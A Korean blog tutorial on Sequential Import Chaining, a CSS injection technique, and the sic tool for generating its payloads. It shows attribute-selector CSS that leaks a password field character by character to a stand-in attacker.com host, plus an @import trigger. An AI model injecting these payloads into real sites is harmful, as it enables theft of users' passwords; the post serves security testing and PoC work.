Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취

오늘은 CSS 기반의 공격 기법인 Sequential Import Chaining에 대해 이야기하려고 합니다. 자체적으로 뭔가 영향력이 있는건 아니지만, CSS를 제어할 수 있을 때 영향력을 증폭시켜줄 수 있는 방법이니 꼭 알아두고, 유용하게 사용하시길 바래요 😊

Sequential Import Chaining

Sequential Import Chaining은 d0nutptr이 제시한 공격 기법으로 CSS Injection이나 RPO(Relative Path Overwrite) 시 영향을 올리기 위한 Exploit 방법 중 하나입니다.

이 방법은 CSS의 Attribute Selectors란 기능, 즉 DOM Object의 value 값에 따라서 스타일을 지정할 수 있도록 제공하는 기능을 이용한 방법인데요. 탈취하려고 하는 Object의 name, id, class에 Attribute Selector를 모든 문자마다 이에 상응하는 background를 지정하여 사용자가 해당 Object에 키 입력 시 CSS에 따라서 변경된 주소를 호출하는 방법입니다.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

만약 사용자가 CSS Injection이 발생한 페이지에 접근한 후 아래 Object 영역에 패스워드를 작성하는 순간, 이미지 처리를 위해 공격자 서버로 GET 요청이 발생하게 됩니다.

<form>
    <input type=text name=id value="">
    <input type=password name=password value="">
</form>

form 입력 시 발생한 requests

다만 이러한 과정은 CSS Injection을 통해 주입해야할 값이 굉장히 많기 떄문에 d0nutptr가 만든 sic란 도구를 통해서 쉽게 구성하는게 좋습니다. 자 그럼 sic로 넘어가보죠.

Generate payloads with sic

Workflow

sic는 위 과정을 쉽게 구성하기 위한 어플리케이션입니다. 이러한 과정은 총 3가지의 flow로 구성됩니다.

  1. @import를 통해 staging payload를 읽어옵니다.
  2. staging payload에는 다시 @import를 사용해 여려 payload를 polling 하는 코드가 존재합니다.
  3. 각각 payload는 background를 통해 sig 서버를 호출하고, sig 서버는 이 값에 따라 다시 @import 규칙을 생성하여 브라우저가 로드하도록 처리합니다.

Installation

sic는 rust 기반으로 프로그램으로 cargo를 이용해 build/install이 가능합니다. cargo registry에는 sic란 이란 이름의 다른 도구가 이미 있기 때문에 d0nutptr의 github에서 따로 클론 후 빌드하여 사용해야 합니다.

git clone https://github.com/d0nutptr/sic
cd sic 
cargo install --path .

이제 /Users/<유저이름>/.cargo/bin 하위에 sic 바이너리가 생성됩니다. PATH 등록을 해두셨다면 편하겠죠.

Generatec

sic는 polling할 host, callback host 그리고 template 파일을 필수로 명시해야 합니다.

sic -p 3000 --ph <polling-host> --ch <callback-host> -t <template>

먼저 가장 중요한 template을 보면 polling payload에서 사용할 css 코드를 정의가 필요한데요. 특별한건 없고 탈취할 데이터에 맞는 CSS를 지정한 후 background쪽에 {{:callback:}}{{:token:}}을 통해 변수 값을 세팅해주시면 됩니다.

input[name=password][value^={{:token:}}] { background: url('{{:callback:}}'); }

callback은 요청받을 주소이자 cli에선 --ch flag 값이며, token은 탈취할 데이터를 기록할 필드를 의미합니다. 예시를 하나 들어보면 3000 포트로 polling host를 구성, callback은 3001번 포트, 그리고 위 template을 파일로 저장하여 로드합니다.

sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t tt.txt

이후 polling-host 주소를 @import 구문을 이용하여 호출하기만 하면 됩니다.

Trigger

<style>@import url('http://localhost:3000/staging?len=32');</style>

staging payload polling payload

페이지에 sic의 주소를 import하는 CSS 코드가 로드되면 위와 같이 polling-host 주소에서 페이로드를 가져옵니다. 먼저 staging payload로 읽어올 여러 payload(polling payloads)를 한번에 로드하고, polling payload에선 각각 background 를 지정하는 코드가 포함됩니다.

password에 a 입력 시 callback host로 웹 요청이 발생합니다.

sic에서도 로그로 확인이 가능하구요.

Conclusion

전 사실 CSS Injection이나 RPO 등의 PoC를 작성할 때 position을 많이 건드리긴 합니다. 아주 예전에 css injection의 대표적인 악용 사례인 iframe을 이용한 탈취는 제약적인 조건이 많아서 솔직히 애용하진 않았었는데요. sequential import chaining의 이러한 제약 조건 없이 악용 케이스를 만들 수 있어서 PoC에 대한 고민이나 exploitable을 증명할 때 정말 유용하게 사용할 수 있는 기술이라고 생각합니다.

그리고 매번 느끼지만, 정말 FE는…. 심오합니다 😫

References

  • https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors
  • https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
  • https://github.com/d0nutptr/sic
  • https://www.hahwul.com/cullinan/rpo/
  • https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/